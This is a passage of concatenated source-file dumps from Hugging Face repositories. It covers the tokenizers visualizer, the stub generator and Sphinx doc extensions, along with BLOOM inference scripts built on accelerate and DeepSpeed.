+        if first.token_ix is not None:
+            css_classes.append('token')
+            if first.is_multitoken:
+                css_classes.append('multi-token')
+            if first.token_ix % 2:
+                css_classes.append('odd-token')
+            else:
+                css_classes.append('even-token')
+            if EncodingVisualizer.unk_token_regex.search(encoding.tokens[first.token_ix]) is not None:
+                css_classes.append('special-token')
+                data_items['stok'] = encoding.tokens[first.token_ix]
+        else:
+            css_classes.append('non-token')
+        css = f'''class="{' '.join(css_classes)}"'''
+        data = ''
+        for (key, val) in data_items.items():
+            data += f' data-{key}="{val}"'
+        return f'<span {css} {data} >{span_text}</span>'
+
+    @staticmethod
+    def __make_html(text: str, encoding: Encoding, annotations: AnnotationList) -> str:
+        char_states = EncodingVisualizer.__make_char_states(text, encoding, annotations)
+        current_consecutive_chars = [char_states[0]]
+        prev_anno_ix = char_states[0].anno_ix
+        spans = []
+        label_colors_dict = EncodingVisualizer.calculate_label_colors(annotations)
+        cur_anno_ix = char_states[0].anno_ix
+        if cur_anno_ix is not None:
+            anno = annotations[cur_anno_ix]
+            label = anno.label
+            color = label_colors_dict[label]
+            spans.append(f'<span class="annotation" style="color:{color}" data-label="{label}">')
+        for cs in char_states[1:]:
+            cur_anno_ix = cs.anno_ix
+            if cur_anno_ix != prev_anno_ix:
+                spans.append(EncodingVisualizer.consecutive_chars_to_html(current_consecutive_chars, text=text, encoding=encoding))
+                current_consecutive_chars = [cs]
+                if prev_anno_ix is not None:
+                    spans.append('</span>')
+                if cur_anno_ix is not None:
+                    anno = annotations[cur_anno_ix]
+                    label = anno.label
+                    color = label_colors_dict[label]
+                    spans.append(f'<span class="annotation" style="color:{color}" data-label="{label}">')
+            prev_anno_ix = cur_anno_ix
+            if cs.partition_key() == current_consecutive_chars[0].partition_key():
+                current_consecutive_chars.append(cs)
+            else:
+                spans.append(EncodingVisualizer.consecutive_chars_to_html(current_consecutive_chars, text=text, encoding=encoding))
+                current_consecutive_chars = [cs]
+        spans.append(EncodingVisualizer.consecutive_chars_to_html(current_consecutive_chars, text=text, encoding=encoding))
+        res = HTMLBody(spans)
+        return res
+
+    @staticmethod
+    def __make_anno_map(text: str, annotations: AnnotationList) -> PartialIntList:
+        annotation_map = [None] * len(text)
+        for (anno_ix, a) in enumerate(annotations):
+            for i in range(a.start, a.end):
+                annotation_map[i] = anno_ix
+        return annotation_map
+
+    @staticmethod
+    def __make_char_states(text: str, encoding: Encoding, annotations: AnnotationList) -> List[CharState]:
+        annotation_map = EncodingVisualizer.__make_anno_map(text, annotations)
+        char_states: List[CharState] = [CharState(char_ix) for char_ix in range(len(text))]
+        for (token_ix, token) in enumerate(encoding.tokens):
+            offsets = encoding.token_to_chars(token_ix)
+            if offsets is not None:
+                (start, end) = offsets
+                for i in range(start, end):
+                    char_states[i].tokens.append(token_ix)
+        for (char_ix, anno_ix) in enumerate(annotation_map):
+            char_states[char_ix].anno_ix = anno_ix
+        return char_states
+
+def HTMLBody(children: List[str], css_styles=css) -> str:
+    children_text = ''.join(children)
+    return f'\n    <html>\n        <head>\n            <style>\n                {css_styles}\n            </style>\n        </head>\n        <body>\n            <div class="tokenized-text" dir=auto>\n            {children_text}\n            </div>\n        </body>\n    </html>\n    '
+
+# File: tokenizers-main/bindings/python/stub.py
+import argparse
+import inspect
+import os
+from pathlib import Path
+INDENT = ' ' * 4
+GENERATED_COMMENT = '# Generated content DO NOT EDIT\n'
+
+def do_indent(text: str, indent: str):
+    return text.replace('\n', f'\n{indent}')
+
+def function(obj, indent, text_signature=None):
+    if text_signature is None:
+        text_signature = obj.__text_signature__
+    string = ''
+    string += f'{indent}def {obj.__name__}{text_signature}:\n'
+    indent += INDENT
+    string += f'{indent}"""\n'
+    string += f'{indent}{do_indent(obj.__doc__, indent)}\n'
+    string += f'{indent}"""\n'
+    string += f'{indent}pass\n'
+    string += '\n'
+    string += '\n'
+    return string
+
+def member_sort(member):
+    if inspect.isclass(member):
+        value = 10 + len(inspect.getmro(member))
+    else:
+        value = 1
+    return value
+
+def fn_predicate(obj):
+    value = inspect.ismethoddescriptor(obj) or inspect.isbuiltin(obj)
+    if value:
+        return obj.__doc__ and obj.__text_signature__ and (not obj.__name__.startswith('_'))
+    if inspect.isgetsetdescriptor(obj):
+        return obj.__doc__ and (not obj.__name__.startswith('_'))
+    return False
+
+def get_module_members(module):
+    members = [member for (name, member) in inspect.getmembers(module) if not name.startswith('_') and (not inspect.ismodule(member))]
+    members.sort(key=member_sort)
+    return members
+
+def pyi_file(obj, indent=''):
+    string = ''
+    if inspect.ismodule(obj):
+        string += GENERATED_COMMENT
+        members = get_module_members(obj)
+        for member in members:
+            string += pyi_file(member, indent)
+    elif inspect.isclass(obj):
+        indent += INDENT
+        mro = inspect.getmro(obj)
+        if len(mro) > 2:
+            inherit = f'({mro[1].__name__})'
+        else:
+            inherit = ''
+        string += f'class {obj.__name__}{inherit}:\n'
+        body = ''
+        if obj.__doc__:
+            body += f'{indent}"""\n{indent}{do_indent(obj.__doc__, indent)}\n{indent}"""\n'
+        fns = inspect.getmembers(obj, fn_predicate)
+        if obj.__text_signature__:
+            body += f'{indent}def __init__{obj.__text_signature__}:\n'
+            body += f'{indent + INDENT}pass\n'
+            body += '\n'
+        for (name, fn) in fns:
+            body += pyi_file(fn, indent=indent)
+        if not body:
+            body += f'{indent}pass\n'
+        string += body
+        string += '\n\n'
+    elif inspect.isbuiltin(obj):
+        string += f'{indent}@staticmethod\n'
+        string += function(obj, indent)
+    elif inspect.ismethoddescriptor(obj):
+        string += function(obj, indent)
+    elif inspect.isgetsetdescriptor(obj):
+        string += f'{indent}@property\n'
+        string += function(obj, indent, text_signature='(self)')
+    else:
+        raise Exception(f'Object {obj} is not supported')
+    return string
+
+def py_file(module, origin):
+    members = get_module_members(module)
+    string = GENERATED_COMMENT
+    string += f'from .. import {origin}\n'
+    string += '\n'
+    for member in members:
+        name = member.__name__
+        string += f'{name} = {origin}.{name}\n'
+    return string
+import subprocess
+from typing import List, Optional, Tuple
+
+def do_ruff(code, is_pyi: bool):
+    command = ['ruff', 'format', '--config', 'pyproject.toml', '--silent', '-']
+    if is_pyi:
+        command.extend(['--stdin-filename', 'test.pyi'])
+    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
+    (stdout, _) = process.communicate(input=code.encode('utf-8'))
+    return stdout.decode('utf-8')
+
+def write(module, directory, origin, check=False):
+    submodules = [(name, member) for (name, member) in inspect.getmembers(module) if inspect.ismodule(member)]
+    filename = os.path.join(directory, '__init__.pyi')
+    pyi_content = pyi_file(module)
+    pyi_content = do_ruff(pyi_content, is_pyi=True)
+    os.makedirs(directory, exist_ok=True)
+    if check:
+        with open(filename, 'r') as f:
+            data = f.read()
+            assert data == pyi_content, f'The content of {filename} seems outdated, please run `python stub.py`'
+    else:
+        with open(filename, 'w') as f:
+            f.write(pyi_content)
+    filename = os.path.join(directory, '__init__.py')
+    py_content = py_file(module, origin)
+    py_content = do_ruff(py_content, is_pyi=False)
+    os.makedirs(directory, exist_ok=True)
+    is_auto = False
+    if not os.path.exists(filename):
+        is_auto = True
+    else:
+        with open(filename, 'r') as f:
+            line = f.readline()
+            if line == GENERATED_COMMENT:
+                is_auto = True
+    if is_auto:
+        if check:
+            with open(filename, 'r') as f:
+                data = f.read()
+                assert data == py_content, f'The content of {filename} seems outdated, please run `python stub.py`'
+        else:
+            with open(filename, 'w') as f:
+                f.write(py_content)
+    for (name, submodule) in submodules:
+        write(submodule, os.path.join(directory, name), f'{name}', check=check)
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--check', action='store_true')
+    args = parser.parse_args()
+    import tokenizers
+    write(tokenizers.tokenizers, 'py_src/tokenizers/', 'tokenizers', check=args.check)
+
+# File: tokenizers-main/docs/source/_ext/entities.py
+from collections import defaultdict, abc
+from typing import cast
+from docutils import nodes
+from docutils.parsers.rst import Directive
+import sphinx
+from sphinx.locale import _
+from sphinx.util.docutils import SphinxDirective
+from sphinx.errors import ExtensionError
+from conf import languages as LANGUAGES
+logger = sphinx.util.logging.getLogger(__name__)
+GLOBALNAME = '$GLOBAL$'
+
+def update(d, u):
+    for (k, v) in u.items():
+        if isinstance(v, abc.Mapping):
+            d[k] = update(d.get(k, {}), v)
+        else:
+            d[k] = v
+    return d
+
+class EntityNode(nodes.General, nodes.Element):
+    pass
+
+class EntitiesNode(nodes.General, nodes.Element):
+    pass
+
+class AllEntities:
+
+    def __init__(self):
+        self.entities = defaultdict(dict)
+
+    @classmethod
+    def install(cls, env):
+        if not hasattr(env, 'entity_all_entities'):
+            entities = cls()
+            env.entity_all_entities = entities
+        return env.entity_all_entities
+
+    def merge(self, other):
+        self.entities.update(other.entities)
+
+    def purge(self, docname):
+        for env_docname in [GLOBALNAME, docname]:
+            self.entities[env_docname] = dict([(name, entity) for (name, entity) in self.entities[env_docname].items() if entity['docname'] != docname])
+
+    def _extract_entities(self, nodes):
+        pass
+
+    def _extract_options(self, nodes):
+        pass
+
+    def _add_entities(self, entities, language, is_global, docname):
+        scope = GLOBALNAME if is_global else docname
+        for entity in entities:
+            name = f"{language}-{entity['name']}"
+            content = entity['content']
+            if name in self.entities[scope]:
+                logger.warning(f'''Entity "{name}" has already been defined{(' globally' if is_global else '')}''', location=docname)
+            self.entities[scope][name] = {'docname': docname, 'content': content}
+
+    def _extract_global(self, nodes):
+        for node in nodes:
+            if node.tagname != 'field':
+                raise Exception(f'Expected a field, found {node.tagname}')
+            (name, _) = node.children
+            if name.tagname != 'field_name':
+                raise Exception(f'Expected a field name here, found {name_node.tagname}')
+            if str(name.children[0]) == 'global':
+                return True
+
+    def _extract_entities(self, nodes):
+        entities = []
+        for node in nodes:
+            if node.tagname != 'definition_list_item':
+                raise Exception(f'Expected a list item here, found {node.tagname}')
+            (name_node, content_node) = node.children
+            if name_node.tagname != 'term':
+                raise Exception(f'Expected a term here, found {name_node.tagname}')
+            if content_node.tagname != 'definition':
+                raise Exception(f'Expected a definition here, found {content_node.tagname}')
+            name = str(name_node.children[0])
+            if len(content_node.children) == 1 and content_node.children[0].tagname == 'paragraph':
+                content = content_node.children[0].children[0]
+            else:
+                content = content_node
+            entities.append({'name': name, 'content': content})
+        return entities
+
+    def extract(self, node, docname):
+        is_global = False
+        entities = []
+        language = None
+        for node in node.children:
+            if language is None and node.tagname != 'paragraph':
+                raise Exception(f'Expected language name:\n.. entities:: <LANGUAGE>')
+            elif language is None and node.tagname == 'paragraph':
+                language = str(node.children[0])
+                if language not in LANGUAGES:
+                    raise Exception(f'Unknown language "{language}. Might be missing a newline after language"')
+            elif node.tagname == 'field_list':
+                is_global = self._extract_global(node.children)
+            elif node.tagname == 'definition_list':
+                entities.extend(self._extract_entities(node.children))
+            else:
+                raise Exception(f'Expected a list of terms/options, found {node.tagname}')
+        self._add_entities(entities, language, is_global, docname)
+
+    def resolve_pendings(self, app):
+        env = app.builder.env
+        updates = defaultdict(dict)
+        for env_docname in self.entities.keys():
+            for (name, entity) in self.entities[env_docname].items():
+                docname = entity['docname']
+                node = entity['content']
+                for node in node.traverse(sphinx.addnodes.pending_xref):
+                    contnode = cast(nodes.TextElement, node[0].deepcopy())
+                    newnode = None
+                    typ = node['reftype']
+                    target = node['reftarget']
+                    refdoc = node.get('refdoc', docname)
+                    domain = None
+                    try:
+                        if 'refdomain' in node and node['refdomain']:
+                            try:
+                                domain = env.domains[node['refdomain']]
+                            except KeyError as exc:
+                                raise NoUri(target, typ) from exc
+                            newnode = domain.resolve_xref(env, refdoc, app.builder, typ, target, node, contnode)
+                    except NoUri:
+                        newnode = contnode
+                    updates[env_docname][name] = {'docname': docname, 'content': newnode or contnode}
+        update(self.entities, updates)
+
+    def get(self, language, name, docname):
+        name = f'{language}-{name}'
+        if name in self.entities[docname]:
+            return self.entities[docname][name]
+        elif name in self.entities[GLOBALNAME]:
+            return self.entities[GLOBALNAME][name]
+        else:
+            return None
+
+class EntitiesDirective(SphinxDirective):
+    has_content = True
+
+    def run(self):
+        content = nodes.definition_list()
+        self.state.nested_parse(self.content, self.content_offset, content)
+        try:
+            entities = AllEntities.install(self.env)
+            entities.extract(content, self.env.docname)
+        except Exception as err:
+            raise self.error(f'Malformed directive "entities": {err}')
+        return []
+
+def entity_role(name, rawtext, text, lineno, inliner, options={}, content=[]):
+    node = EntityNode()
+    node.entity = text
+    return ([node], [])
+
+def process_entity_nodes(app, doctree, docname):
+    env = app.builder.env
+    entities = AllEntities.install(env)
+    entities.resolve_pendings(app)
+    language = None
+    try:
+        language = next((l for l in LANGUAGES if l in app.tags))
+    except Exception:
+        logger.warning(f'No language tag specified, not resolving entities in {docname}')
+    for node in doctree.traverse(EntityNode):
+        if language is None:
+            node.replace_self(nodes.Text(_(node.entity), _(node.entity)))
+        else:
+            entity = entities.get(language, node.entity, docname)
+            if entity is None:
+                node.replace_self(nodes.Text(_(node.entity), _(node.entity)))
+                logger.warning(f'Entity "{node.entity}" has not been defined', location=node)
+            else:
+                node.replace_self(entity['content'])
+
+def purge_entities(app, env, docname):
+    entities = AllEntities.install(env)
+    entities.purge(docname)
+
+def merge_entities(app, env, docnames, other):
+    entities = AllEntities.install(env)
+    other_entities = AllEntities.install(other)
+    entities.merge(other_entities)
+
+def setup(app):
+    app.add_node(EntityNode)
+    app.add_node(EntitiesNode)
+    app.add_directive('entities', EntitiesDirective)
+    app.add_role('entity', entity_role)
+    app.connect('doctree-resolved', process_entity_nodes)
+    app.connect('env-merge-info', merge_entities)
+    app.connect('env-purge-doc', purge_entities)
+    return {'version': '0.1', 'parallel_read_safe': True, 'parallel_write_safe': True}
+
+# File: tokenizers-main/docs/source/_ext/rust_doc.py
+from docutils import nodes
+import sphinx
+from sphinx.locale import _
+from conf import rust_version
+logger = sphinx.util.logging.getLogger(__name__)
+
+class RustRef:
+
+    def __call__(self, name, rawtext, text, lineno, inliner, options={}, content=[]):
+        doctype = name.split('_')[1]
+        parts = text.split('::')
+        if text.startswith('~'):
+            title = parts[-1]
+            parts[0] = parts[0][1:]
+        else:
+            content = text
+        link = self.base_link()
+        if doctype == 'struct':
+            (l, title) = self.make_struct_link(parts, title)
+        if doctype == 'func':
+            (l, title) = self.make_func_link(parts, title)
+        if doctype == 'meth':
+            (l, title) = self.make_meth_link(parts, title)
+        if doctype == 'trait':
+            (l, title) = self.make_trait_link(parts, title)
+        link += l
+        node = nodes.reference(internal=False, refuri=link, text=title)
+        wrapper = nodes.literal(classes=['xref'])
+        wrapper += node
+        return ([wrapper], [])
+
+    def base_link(self):
+        return f'https://docs.rs/tokenizers/{rust_version}'
+
+    def make_struct_link(self, parts, title):
+        link = ''
+        struct_name = parts[-1]
+        path = parts[:-1]
+        for p in path:
+            link += f'/{p}'
+        link += f'/struct.{struct_name}.html'
+        return (link, title)
+
+    def make_func_link(self, parts, title):
+        link = ''
+        fn_name = parts[-1]
+        path = parts[:-1]
+        for p in path:
+            link += f'/{p}'
+        link += f'/fn.{fn_name}.html'
+        return (link, title)
+
+    def make_meth_link(self, parts, title):
+        meth_name = parts[-1]
+        if meth_name.endswith('()'):
+            meth_name = meth_name[:-2]
+        (link, title) = self.make_struct_link(parts[:-1], title)
+        link += f'#method.{meth_name}'
+        if not title.endswith(')'):
+            title += '()'
+        return (link, title)
+
+    def make_trait_link(self, parts, title):
+        link = ''
+        trait_name = parts[-1]
+        path = parts[:-1]
+        for p in path:
+            link += f'/{p}'
+        link += f'/trait.{trait_name}.html'
+        return (link, title)
+
+def setup(app):
+    app.add_role('rust_struct', RustRef())
+    app.add_role('rust_func', RustRef())
+    app.add_role('rust_meth', RustRef())
+    app.add_role('rust_trait', RustRef())
+    return {'version': '0.1', 'parallel_read_safe': True, 'parallel_write_safe': True}
+
+# File: tokenizers-main/docs/source/_ext/toctree_tags.py
+import re
+from sphinx.directives.other import TocTree
+
+class TocTreeTags(TocTree):
+    hasPat = re.compile('^\\s*:(.+):(.+)$')
+
+    def filter_entries(self, entries):
+        filtered = []
+        for e in entries:
+            m = self.hasPat.match(e)
+            if m != None:
+                if self.env.app.tags.has(m.groups()[0]):
+                    filtered.append(m.groups()[1])
+            else:
+                filtered.append(e)
+        return filtered
+
+    def run(self):
+        self.content = self.filter_entries(self.content)
+        return super().run()
+
+def setup(app):
+    app.add_directive('toctree-tags', TocTreeTags)
+    return {'version': '0.1'}
+
+# File: tokenizers-main/docs/source/conf.py
+import os
+import sys
+sys.path.insert(0, os.path.abspath('./_ext'))
+sys.path.insert(0, os.path.abspath('.'))
+project = 'tokenizers'
+copyright = '2020, huggingface'
+author = 'huggingface'
+release = ''
+languages = ['node', 'rust', 'python']
+rust_version = 'latest'
+extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'entities', 'rust_doc', 'toctree_tags']
+templates_path = ['_templates']
+exclude_patterns = []
+html_theme = 'sphinx_rtd_theme'
+html_theme_options = {'analytics_id': 'UA-83738774-2'}
+html_static_path = ['_static']
+
+def setup(app):
+    for language in languages:
+        if not tags.has(language):
+            exclude_patterns.append(f'tutorials/{language}/*')
+    app.add_css_file('css/huggingface.css')
+    app.add_css_file('css/code-snippets.css')
+    app.add_js_file('js/custom.js')
+

huggingface_transformers-bloom-inference.txt

@@ -0,0 +1,1235 @@
+# File: transformers-bloom-inference-main/bloom-inference-scripts/bloom-accelerate-inference.py
+import argparse
+import gc
+import math
+import os
+import time
+import torch
+import torch.distributed as dist
+from transformers import AutoConfig, AutoModelForCausalLM, AutoTokenizer
+
+def get_args():
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--local_rank', required=False, type=int, help='used by dist launchers')
+    parser.add_argument('--name', type=str, help='Name path', required=True)
+    parser.add_argument('--batch_size', default=1, type=int, help='batch size')
+    parser.add_argument('--benchmark', action='store_true', help='additionally run benchmark')
+    parser.add_argument('--greedy', action='store_true')
+    parser.add_argument('--top-k', type=int, default=0)
+    parser.add_argument('--top-p', type=float, default=0.0)
+    parser.add_argument('--dtype', type=str, help='float16 or int8', choices=['int8', 'float16'], default='float16')
+    return parser.parse_args()
+t_start = time.time()
+num_tokens = 100
+args = get_args()
+local_rank = int(os.getenv('LOCAL_RANK', '0'))
+world_size = torch.cuda.device_count()
+rank = local_rank
+
+def print_rank0(*msg):
+    if rank != 0:
+        return
+    print(*msg)
+print_rank0(f'Using {world_size} gpus')
+model_name = args.name
+print_rank0(f'Loading model {model_name}')
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+dtype = torch.bfloat16 if model_name in ['bigscience/bloom', 'bigscience/bigscience-small-testing'] else torch.float16
+infer_dtype = args.dtype
+if infer_dtype == 'int8':
+    dtype = torch.int8
+kwargs = dict(device_map='auto')
+
+def get_world_size() -> int:
+    if dist.is_initialized():
+        return dist.get_world_size()
+    else:
+        return 1
+if get_world_size() > 1:
+    kwargs['device_map'] = 'balanced_low_0'
+if infer_dtype == 'int8':
+    print_rank0('Using `load_in_8bit=True` to use quanitized model')
+    kwargs['load_in_8bit'] = True
+else:
+    kwargs['torch_dtype'] = dtype
+model = AutoModelForCausalLM.from_pretrained(model_name, **kwargs)
+if args.benchmark:
+    t_ready = time.time()
+print_rank0(f'*** Starting to generate {num_tokens} tokens with bs={args.batch_size}')
+input_sentences = ['DeepSpeed is a machine learning framework', 'He is working on', 'He has a', 'He got all', 'Everyone is happy and I can', 'The new movie that got Oscar this year', 'In the far far distance from our galaxy,', 'Peace is the only way']
+if args.batch_size > len(input_sentences):
+    input_sentences *= math.ceil(args.batch_size / len(input_sentences))
+generate_kwargs = dict(max_new_tokens=num_tokens, do_sample=False)
+print_rank0(f'Generate args {generate_kwargs}')
+inputs = input_sentences[:args.batch_size]
+
+def generate():
+    input_tokens = tokenizer.batch_encode_plus(inputs, return_tensors='pt', padding=True)
+    for t in input_tokens:
+        if torch.is_tensor(input_tokens[t]):
+            input_tokens[t] = input_tokens[t].to('cuda:0')
+    outputs = model.generate(**input_tokens, **generate_kwargs)
+    input_tokens_lengths = [x.shape[0] for x in input_tokens.input_ids]
+    output_tokens_lengths = [x.shape[0] for x in outputs]
+    total_new_tokens = [o - i for (i, o) in zip(input_tokens_lengths, output_tokens_lengths)]
+    outputs = tokenizer.batch_decode(outputs, skip_special_tokens=True)
+    return zip(inputs, outputs, total_new_tokens)
+print_rank0('*** Running generate')
+t_generate_start = time.time()
+generated = generate()
+t_generate_span = time.time() - t_generate_start
+for (i, o, _) in generated:
+    print_rank0(f"{'-' * 60}\nin={i}\nout={o}\n")
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    print_rank0('*** Running benchmark')
+    for i in range(1):
+        _ = generate()
+    torch.cuda.synchronize()
+    t0 = time.time()
+    cycles = 5
+    total_new_tokens_generated = 0
+    for i in range(cycles):
+        generated = generate()
+        total_new_tokens_generated += sum((new_tokens for (_, _, new_tokens) in generated))
+    torch.cuda.synchronize()
+    throughput = (time.time() - t0) / total_new_tokens_generated
+    print_rank0(f'\n*** Performance stats:\nThroughput per token including tokenize: {throughput * 1000:.2f} msecs\nStart to ready to generate: {t_ready - t_start:.3f} secs\nTokenize and generate {total_new_tokens_generated} (bs={args.batch_size}) tokens: {t_generate_span:.3f} secs\nStart to finish: {t_ready - t_start + t_generate_span:.3f} secs\n')
+
+# File: transformers-bloom-inference-main/bloom-inference-scripts/bloom-ds-inference.py
+import gc
+import io
+import json
+import math
+import os
+import time
+from argparse import ArgumentParser
+from pathlib import Path
+import torch
+import torch.distributed as dist
+import deepspeed
+from huggingface_hub import snapshot_download
+from transformers import AutoConfig, AutoModelForCausalLM, AutoTokenizer
+from transformers.models.bloom.modeling_bloom import BloomBlock as BloomBlock
+from transformers.utils import is_offline_mode
+tp_presharded_models = ['microsoft/bloom-deepspeed-inference-int8', 'microsoft/bloom-deepspeed-inference-fp16']
+t_start = time.time()
+num_tokens = 100
+parser = ArgumentParser()
+parser.add_argument('--name', required=True, type=str, help='model_name')
+parser.add_argument('--dtype', type=str, help='float16 or int8', choices=['int8', 'float16'], default='float16')
+parser.add_argument('--local_rank', required=False, type=int, help='used by dist launchers')
+parser.add_argument('--batch_size', default=1, type=int, help='batch size')
+parser.add_argument('--benchmark', action='store_true', help='additionally run benchmark')
+args = parser.parse_args()
+local_rank = int(os.getenv('LOCAL_RANK', '0'))
+world_size = int(os.getenv('WORLD_SIZE', '1'))
+deepspeed.init_distributed('nccl')
+rank = dist.get_rank()
+
+def print_rank0(*msg):
+    if rank != 0:
+        return
+    print(*msg)
+
+def get_repo_root(model_name_or_path):
+    if is_offline_mode():
+        print_rank0('Offline mode: forcing local_files_only=True')
+    if rank == 0:
+        snapshot_download(model_name_or_path, local_files_only=is_offline_mode(), cache_dir=os.getenv('TRANSFORMERS_CACHE', None), ignore_patterns=['*.safetensors'])
+    dist.barrier()
+    return snapshot_download(model_name_or_path, local_files_only=is_offline_mode(), cache_dir=os.getenv('TRANSFORMERS_CACHE', None), ignore_patterns=['*.safetensors'])
+
+def get_checkpoint_files(model_name_or_path):
+    cached_repo_dir = get_repo_root(model_name_or_path)
+    file_list = [str(entry) for entry in Path(cached_repo_dir).rglob('*.[bp][it][n]') if entry.is_file()]
+    return file_list
+model_name = args.name
+infer_dtype = args.dtype
+tp_presharded_mode = True if model_name in tp_presharded_models else False
+print_rank0(f'*** Loading the model {model_name}')
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+config = AutoConfig.from_pretrained(model_name)
+kernel_inject = True
+if kernel_inject:
+    dtype = torch.float16
+else:
+    dtype = torch.bfloat16
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    deepspeed.runtime.utils.see_memory_usage('pre-from-pretrained', force=True)
+with deepspeed.OnDevice(dtype=dtype, device='meta'):
+    model = AutoModelForCausalLM.from_config(config, torch_dtype=torch.bfloat16)
+if args.benchmark:
+    deepspeed.runtime.utils.see_memory_usage('post-from-pretrained', force=True)
+model = model.eval()
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    deepspeed.runtime.utils.see_memory_usage('post-init-ds-zero-init', force=True)
+checkpoints_json = 'checkpoints.json'
+
+def write_checkpoints_json():
+    checkpoint_files = get_checkpoint_files(model_name)
+    if rank == 0:
+        data = {'type': 'BLOOM', 'checkpoints': checkpoint_files, 'version': 1.0}
+        json.dump(data, open(checkpoints_json, 'w'))
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    deepspeed.runtime.utils.see_memory_usage('pre-ds-inference-init', force=True)
+if kernel_inject:
+    kwargs = dict(replace_with_kernel_inject=True)
+else:
+    kwargs = dict(injection_policy={BloomBlock: ('self_attention.dense', 'mlp.dense_4h_to_h')})
+repo_root = get_repo_root(model_name)
+if tp_presharded_mode:
+    checkpoints_json = os.path.join(repo_root, 'ds_inference_config.json')
+else:
+    write_checkpoints_json()
+    dist.barrier()
+model = deepspeed.init_inference(model, mp_size=world_size, base_dir=repo_root, dtype=getattr(torch, infer_dtype), checkpoint=checkpoints_json, **kwargs)
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    deepspeed.runtime.utils.see_memory_usage('post-ds-inference-init', force=True)
+model = model.module
+if args.benchmark:
+    t_ready = time.time()
+print_rank0(f'*** Starting to generate {num_tokens} tokens with bs={args.batch_size}')
+input_sentences = ['DeepSpeed is a machine learning framework', 'He is working on', 'He has a', 'He got all', 'Everyone is happy and I can', 'The new movie that got Oscar this year', 'In the far far distance from our galaxy,', 'Peace is the only way']
+if args.batch_size > len(input_sentences):
+    input_sentences *= math.ceil(args.batch_size / len(input_sentences))
+generate_kwargs = dict(max_new_tokens=num_tokens, do_sample=False)
+print_rank0(f'Generate args {generate_kwargs}')
+inputs = input_sentences[:args.batch_size]
+
+def generate():
+    input_tokens = tokenizer.batch_encode_plus(inputs, return_tensors='pt', padding=True)
+    for t in input_tokens:
+        if torch.is_tensor(input_tokens[t]):
+            input_tokens[t] = input_tokens[t].to(torch.cuda.current_device())
+    outputs = model.generate(**input_tokens, **generate_kwargs)
+    input_tokens_lengths = [x.shape[0] for x in input_tokens.input_ids]
+    output_tokens_lengths = [x.shape[0] for x in outputs]
+    total_new_tokens = [o - i for (i, o) in zip(input_tokens_lengths, output_tokens_lengths)]
+    outputs = tokenizer.batch_decode(outputs, skip_special_tokens=True)
+    return zip(inputs, outputs, total_new_tokens)
+print_rank0('*** Running generate warmup')
+_ = generate()
+print_rank0('*** Running generate')
+t_generate_start = time.time()
+generated = generate()
+t_generate_span = time.time() - t_generate_start
+for (i, o, _) in generated:
+    print_rank0(f"{'-' * 60}\nin={i}\nout={o}\n")
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    deepspeed.runtime.utils.see_memory_usage('end-of-run', force=True)
+if args.benchmark:
+    print_rank0('*** Running benchmark')
+    for i in range(1):
+        _ = generate()
+    torch.cuda.synchronize()
+    t0 = time.time()
+    cycles = 5
+    total_new_tokens_generated = 0
+    for i in range(cycles):
+        generated = generate()
+        total_new_tokens_generated += sum((new_tokens for (_, _, new_tokens) in generated))
+    torch.cuda.synchronize()
+    throughput = (time.time() - t0) / total_new_tokens_generated
+    print_rank0(f'\n*** Performance stats:\nThroughput per token including tokenize: {throughput * 1000:.2f} msecs\nStart to ready to generate: {t_ready - t_start:.3f} secs\nTokenize and generate {total_new_tokens_generated} (bs={args.batch_size}) tokens: {t_generate_span:.3f} secs\nStart to finish: {t_ready - t_start + t_generate_span:.3f} secs\n')
+
+# File: transformers-bloom-inference-main/bloom-inference-scripts/bloom-ds-zero-inference.py
+import gc
+import math
+import os
+import time
+from argparse import ArgumentParser
+import torch
+import torch.distributed as dist
+import deepspeed
+from transformers import AutoConfig, AutoModelForCausalLM, AutoTokenizer
+from transformers.deepspeed import HfDeepSpeedConfig
+from transformers.models.bloom.modeling_bloom import BloomBlock as BloomBlock
+t_start = time.time()
+num_tokens = 100
+parser = ArgumentParser()
+parser.add_argument('--name', required=True, type=str, help='model_name')
+parser.add_argument('--local_rank', required=False, type=int, help='used by dist launchers')
+parser.add_argument('--batch_size', default=1, type=int, help='batch size')
+parser.add_argument('--benchmark', action='store_true', help='additionally run benchmark')
+parser.add_argument('--cpu_offload', action='store_true', help='whether to activate CPU offload')
+parser.add_argument('--nvme_offload_path', help='whether to activate NVME offload and the path on nvme')
+args = parser.parse_args()
+local_rank = int(os.getenv('LOCAL_RANK', '0'))
+world_size = int(os.getenv('WORLD_SIZE', '1'))
+deepspeed.init_distributed('nccl')
+rank = dist.get_rank()
+
+def print_rank0(*msg):
+    if rank != 0:
+        return
+    print(*msg)
+model_name = args.name
+print_rank0(f'*** Loading the model {model_name}')
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+config = AutoConfig.from_pretrained(model_name)
+dtype = torch.bfloat16 if model_name in ['bigscience/bloom', 'bigscience/bigscience-small-testing'] else torch.float16
+model_hidden_size = config.hidden_size
+train_batch_size = 1 * world_size
+ds_config = {'fp16': {'enabled': dtype == torch.float16}, 'bf16': {'enabled': dtype == torch.bfloat16}, 'zero_optimization': {'stage': 3, 'overlap_comm': True, 'contiguous_gradients': True, 'reduce_bucket_size': model_hidden_size * model_hidden_size, 'stage3_prefetch_bucket_size': 0.9 * model_hidden_size * model_hidden_size, 'stage3_param_persistence_threshold': 0}, 'steps_per_print': 2000, 'train_batch_size': train_batch_size, 'train_micro_batch_size_per_gpu': 1, 'wall_clock_breakdown': False}
+if args.cpu_offload and args.nvme_offload_path:
+    raise ValueError('Use one of --cpu_offload or --nvme_offload_path and not both')
+if args.cpu_offload:
+    ds_config['zero_optimization']['offload_param'] = dict(device='cpu', pin_memory=True)
+if args.nvme_offload_path:
